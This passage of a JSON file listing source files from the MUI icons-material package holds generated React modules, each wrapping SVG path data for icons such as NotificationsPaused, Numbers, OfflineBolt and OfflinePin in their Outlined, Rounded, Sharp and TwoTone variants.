    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 9.8h2.8l-2.8 3.4V15h5v-1.8h-2.8l2.8-3.4V8h-5zM18 16v-5c0-3.07-1.63-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.64 5.36 6 7.92 6 11v5l-2 2v1h16v-1zm-2 1H8v-6c0-2.48 1.51-4.5 4-4.5s4 2.02 4 4.5zm-4 5c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2\"\n}), 'NotificationsPausedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsPausedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.89 2 2 2m7.29-4.71L18 16v-5c0-3.07-1.64-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.63 5.36 6 7.92 6 11v5l-1.29 1.29c-.63.63-.19 1.71.7 1.71h13.17c.9 0 1.34-1.08.71-1.71M14.5 9.33c0 .31-.11.6-.3.84l-2.5 3.03h1.9c.5 0 .9.4.9.9s-.4.9-.9.9h-2.78c-.73 0-1.32-.59-1.32-1.32v-.01c0-.31.11-.6.3-.84l2.5-3.03h-1.9c-.5 0-.9-.4-.9-.9s.4-.9.9-.9h2.78c.73 0 1.32.59 1.32 1.33\"\n}), 'NotificationsPausedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsPausedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.89 2 2 2m7.29-4.71L18 16v-5c0-3.07-1.64-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.63 5.36 6 7.92 6 11v5l-1.29 1.29c-.63.63-.19 1.71.7 1.71h13.17c.9 0 1.34-1.08.71-1.71M14.5 9.33c0 .31-.11.6-.3.84l-2.5 3.03h1.9c.5 0 .9.4.9.9s-.4.9-.9.9h-2.78c-.73 0-1.32-.59-1.32-1.32v-.01c0-.31.11-.6.3-.84l2.5-3.03h-1.9c-.5 0-.9-.4-.9-.9s.4-.9.9-.9h2.78c.73 0 1.32.59 1.32 1.33\"\n}), 'NotificationsPausedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsPausedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.89 2 2 2m6-6v-5c0-3.07-1.64-5.64-4.5-6.32V2.5h-3v2.18C7.63 5.36 6 7.93 6 11v5l-2 2v1h16v-1zm-3.5-6.2-2.8 3.4h2.8V15h-5v-1.8l2.8-3.4H9.5V8h5z\"\n}), 'NotificationsPausedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsPausedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.89 2 2 2m6-6v-5c0-3.07-1.64-5.64-4.5-6.32V2.5h-3v2.18C7.63 5.36 6 7.93 6 11v5l-2 2v1h16v-1zm-3.5-6.2-2.8 3.4h2.8V15h-5v-1.8l2.8-3.4H9.5V8h5z\"\n}), 'NotificationsPausedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsPausedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6.5c-2.49 0-4 2.02-4 4.5v6h8v-6c0-2.48-1.51-4.5-4-4.5m2.5 3.3-2.8 3.4h2.8V15h-5v-1.8l2.8-3.4H9.5V8h5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 9.8h2.8l-2.8 3.4V15h5v-1.8h-2.8l2.8-3.4V8h-5zM18 16v-5c0-3.07-1.63-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.64 5.36 6 7.92 6 11v5l-2 2v1h16v-1zm-2 1H8v-6c0-2.48 1.51-4.5 4-4.5s4 2.02 4 4.5zm-4 5c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2\"\n}, \"1\")], 'NotificationsPausedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsPausedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6.5c-2.49 0-4 2.02-4 4.5v6h8v-6c0-2.48-1.51-4.5-4-4.5m2.5 3.3-2.8 3.4h2.8V15h-5v-1.8l2.8-3.4H9.5V8h5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 9.8h2.8l-2.8 3.4V15h5v-1.8h-2.8l2.8-3.4V8h-5zM18 16v-5c0-3.07-1.63-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.64 5.36 6 7.92 6 11v5l-2 2v1h16v-1zm-2 1H8v-6c0-2.48 1.51-4.5 4-4.5s4 2.02 4 4.5zm-4 5c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2\"\n}, \"1\")], 'NotificationsPausedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.89 2 2 2m6-6v-5c0-3.07-1.64-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.63 5.36 6 7.92 6 11v5l-1.29 1.29c-.63.63-.19 1.71.7 1.71h13.17c.89 0 1.34-1.08.71-1.71z\"\n}), 'NotificationsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.89 2 2 2m6-6v-5c0-3.07-1.64-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.63 5.36 6 7.92 6 11v5l-1.29 1.29c-.63.63-.19 1.71.7 1.71h13.17c.89 0 1.34-1.08.71-1.71z\"\n}), 'NotificationsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.89 2 2 2m6-6v-5c0-3.07-1.64-5.64-4.5-6.32V2.5h-3v2.18C7.63 5.36 6 7.92 6 11v5l-2 2v1h16v-1z\"\n}), 'NotificationsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.89 2 2 2m6-6v-5c0-3.07-1.64-5.64-4.5-6.32V2.5h-3v2.18C7.63 5.36 6 7.92 6 11v5l-2 2v1h16v-1z\"\n}), 'NotificationsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6.5c-2.49 0-4 2.02-4 4.5v6h8v-6c0-2.48-1.51-4.5-4-4.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2m6-6v-5c0-3.07-1.63-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.64 5.36 6 7.92 6 11v5l-2 2v1h16v-1zm-2 1H8v-6c0-2.48 1.51-4.5 4-4.5s4 2.02 4 4.5z\"\n}, \"1\")], 'NotificationsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6.5c-2.49 0-4 2.02-4 4.5v6h8v-6c0-2.48-1.51-4.5-4-4.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2m6-6v-5c0-3.07-1.63-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.64 5.36 6 7.92 6 11v5l-2 2v1h16v-1zm-2 1H8v-6c0-2.48 1.51-4.5 4-4.5s4 2.02 4 4.5z\"\n}, \"1\")], 'NotificationsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Numbers.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.5 10 .5-2h-4l1-4h-2l-1 4h-4l1-4h-2L9 8H5l-.5 2h4l-1 4h-4L3 16h4l-1 4h2l1-4h4l-1 4h2l1-4h4l.5-2h-4l1-4zm-7 4h-4l1-4h4z\"\n}), 'Numbers');"
  },
  {
    "path": "packages/mui-icons-material/lib/Numbers.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.5 10 .5-2h-4l1-4h-2l-1 4h-4l1-4h-2L9 8H5l-.5 2h4l-1 4h-4L3 16h4l-1 4h2l1-4h4l-1 4h2l1-4h4l.5-2h-4l1-4zm-7 4h-4l1-4h4z\"\n}), 'Numbers');"
  },
  {
    "path": "packages/mui-icons-material/lib/NumbersOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.5 10 .5-2h-4l1-4h-2l-1 4h-4l1-4h-2L9 8H5l-.5 2h4l-1 4h-4L3 16h4l-1 4h2l1-4h4l-1 4h2l1-4h4l.5-2h-4l1-4zm-7 4h-4l1-4h4z\"\n}), 'NumbersOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NumbersOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.5 10 .5-2h-4l1-4h-2l-1 4h-4l1-4h-2L9 8H5l-.5 2h4l-1 4h-4L3 16h4l-1 4h2l1-4h4l-1 4h2l1-4h4l.5-2h-4l1-4zm-7 4h-4l1-4h4z\"\n}), 'NumbersOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NumbersRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.68 9.27.01-.06c.16-.62-.3-1.21-.93-1.21H17l.7-2.79c.15-.62-.31-1.21-.94-1.21-.45 0-.83.3-.94.73L15 8h-4l.7-2.79c.15-.62-.31-1.21-.94-1.21-.45 0-.83.3-.94.73L9 8H5.76c-.45 0-.84.3-.94.73l-.02.06c-.15.62.31 1.21.94 1.21H8.5l-1 4H4.26c-.45 0-.83.3-.94.73l-.02.06c-.15.62.31 1.21.94 1.21H7l-.7 2.79c-.15.62.31 1.21.94 1.21.45 0 .83-.3.94-.73L9 16h4l-.7 2.79c-.15.62.31 1.21.94 1.21.45 0 .83-.3.94-.73L15 16h3.24c.45 0 .83-.3.94-.73l.01-.06c.15-.61-.31-1.21-.94-1.21H15.5l1-4h3.24c.45 0 .84-.3.94-.73M13.5 14h-4l1-4h4z\"\n}), 'NumbersRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NumbersRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.68 9.27.01-.06c.16-.62-.3-1.21-.93-1.21H17l.7-2.79c.15-.62-.31-1.21-.94-1.21-.45 0-.83.3-.94.73L15 8h-4l.7-2.79c.15-.62-.31-1.21-.94-1.21-.45 0-.83.3-.94.73L9 8H5.76c-.45 0-.84.3-.94.73l-.02.06c-.15.62.31 1.21.94 1.21H8.5l-1 4H4.26c-.45 0-.83.3-.94.73l-.02.06c-.15.62.31 1.21.94 1.21H7l-.7 2.79c-.15.62.31 1.21.94 1.21.45 0 .83-.3.94-.73L9 16h4l-.7 2.79c-.15.62.31 1.21.94 1.21.45 0 .83-.3.94-.73L15 16h3.24c.45 0 .83-.3.94-.73l.01-.06c.15-.61-.31-1.21-.94-1.21H15.5l1-4h3.24c.45 0 .84-.3.94-.73M13.5 14h-4l1-4h4z\"\n}), 'NumbersRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NumbersSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.5 10 .5-2h-4l1-4h-2l-1 4h-4l1-4h-2L9 8H5l-.5 2h4l-1 4h-4L3 16h4l-1 4h2l1-4h4l-1 4h2l1-4h4l.5-2h-4l1-4zm-7 4h-4l1-4h4z\"\n}), 'NumbersSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NumbersSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.5 10 .5-2h-4l1-4h-2l-1 4h-4l1-4h-2L9 8H5l-.5 2h4l-1 4h-4L3 16h4l-1 4h2l1-4h4l-1 4h2l1-4h4l.5-2h-4l1-4zm-7 4h-4l1-4h4z\"\n}), 'NumbersSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NumbersTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.5 10 .5-2h-4l1-4h-2l-1 4h-4l1-4h-2L9 8H5l-.5 2h4l-1 4h-4L3 16h4l-1 4h2l1-4h4l-1 4h2l1-4h4l.5-2h-4l1-4zm-7 4h-4l1-4h4z\"\n}), 'NumbersTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NumbersTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.5 10 .5-2h-4l1-4h-2l-1 4h-4l1-4h-2L9 8H5l-.5 2h4l-1 4h-4L3 16h4l-1 4h2l1-4h4l-1 4h2l1-4h4l.5-2h-4l1-4zm-7 4h-4l1-4h4z\"\n}), 'NumbersTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflineBolt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2.02c-5.51 0-9.98 4.47-9.98 9.98s4.47 9.98 9.98 9.98 9.98-4.47 9.98-9.98S17.51 2.02 12 2.02M11.48 20v-6.26H8L13 4v6.26h3.35z\"\n}), 'OfflineBolt');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflineBolt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2.02c-5.51 0-9.98 4.47-9.98 9.98s4.47 9.98 9.98 9.98 9.98-4.47 9.98-9.98S17.51 2.02 12 2.02M11.48 20v-6.26H8L13 4v6.26h3.35z\"\n}), 'OfflineBolt');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflineBoltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2.02c-5.51 0-9.98 4.47-9.98 9.98s4.47 9.98 9.98 9.98 9.98-4.47 9.98-9.98S17.51 2.02 12 2.02m0 17.96c-4.4 0-7.98-3.58-7.98-7.98S7.6 4.02 12 4.02 19.98 7.6 19.98 12 16.4 19.98 12 19.98M12.75 5l-4.5 8.5h3.14V19l4.36-8.5h-3z\"\n}), 'OfflineBoltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflineBoltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2.02c-5.51 0-9.98 4.47-9.98 9.98s4.47 9.98 9.98 9.98 9.98-4.47 9.98-9.98S17.51 2.02 12 2.02m0 17.96c-4.4 0-7.98-3.58-7.98-7.98S7.6 4.02 12 4.02 19.98 7.6 19.98 12 16.4 19.98 12 19.98M12.75 5l-4.5 8.5h3.14V19l4.36-8.5h-3z\"\n}), 'OfflineBoltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflineBoltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2.02c-5.51 0-9.98 4.47-9.98 9.98s4.47 9.98 9.98 9.98 9.98-4.47 9.98-9.98S17.51 2.02 12 2.02m-.52 15.86v-4.14H8.82c-.37 0-.62-.4-.44-.73l3.68-7.17c.23-.47.94-.3.94.23v4.19h2.54c.37 0 .61.39.45.72l-3.56 7.12c-.24.48-.95.31-.95-.22\"\n}), 'OfflineBoltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflineBoltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2.02c-5.51 0-9.98 4.47-9.98 9.98s4.47 9.98 9.98 9.98 9.98-4.47 9.98-9.98S17.51 2.02 12 2.02m-.52 15.86v-4.14H8.82c-.37 0-.62-.4-.44-.73l3.68-7.17c.23-.47.94-.3.94.23v4.19h2.54c.37 0 .61.39.45.72l-3.56 7.12c-.24.48-.95.31-.95-.22\"\n}), 'OfflineBoltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflineBoltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2.02c-5.51 0-9.98 4.47-9.98 9.98s4.47 9.98 9.98 9.98 9.98-4.47 9.98-9.98S17.51 2.02 12 2.02M11.48 20v-6.26H8L13 4v6.26h3.35z\"\n}), 'OfflineBoltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflineBoltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2.02c-5.51 0-9.98 4.47-9.98 9.98s4.47 9.98 9.98 9.98 9.98-4.47 9.98-9.98S17.51 2.02 12 2.02M11.48 20v-6.26H8L13 4v6.26h3.35z\"\n}), 'OfflineBoltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflineBoltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4.02C7.6 4.02 4.02 7.6 4.02 12S7.6 19.98 12 19.98s7.98-3.58 7.98-7.98S16.4 4.02 12 4.02M11.39 19v-5.5H8.25l4.5-8.5v5.5h3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2.02c-5.51 0-9.98 4.47-9.98 9.98s4.47 9.98 9.98 9.98 9.98-4.47 9.98-9.98S17.51 2.02 12 2.02m0 17.96c-4.4 0-7.98-3.58-7.98-7.98S7.6 4.02 12 4.02 19.98 7.6 19.98 12 16.4 19.98 12 19.98M12.75 5l-4.5 8.5h3.14V19l4.36-8.5h-3z\"\n}, \"1\")], 'OfflineBoltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflineBoltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4.02C7.6 4.02 4.02 7.6 4.02 12S7.6 19.98 12 19.98s7.98-3.58 7.98-7.98S16.4 4.02 12 4.02M11.39 19v-5.5H8.25l4.5-8.5v5.5h3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2.02c-5.51 0-9.98 4.47-9.98 9.98s4.47 9.98 9.98 9.98 9.98-4.47 9.98-9.98S17.51 2.02 12 2.02m0 17.96c-4.4 0-7.98-3.58-7.98-7.98S7.6 4.02 12 4.02 19.98 7.6 19.98 12 16.4 19.98 12 19.98M12.75 5l-4.5 8.5h3.14V19l4.36-8.5h-3z\"\n}, \"1\")], 'OfflineBoltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflinePin.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2m5 16H7v-2h10zm-6.7-4L7 10.7l1.4-1.4 1.9 1.9 5.3-5.3L17 7.3z\"\n}), 'OfflinePin');"
  },
  {
    "path": "packages/mui-icons-material/lib/OfflinePin.mjs",
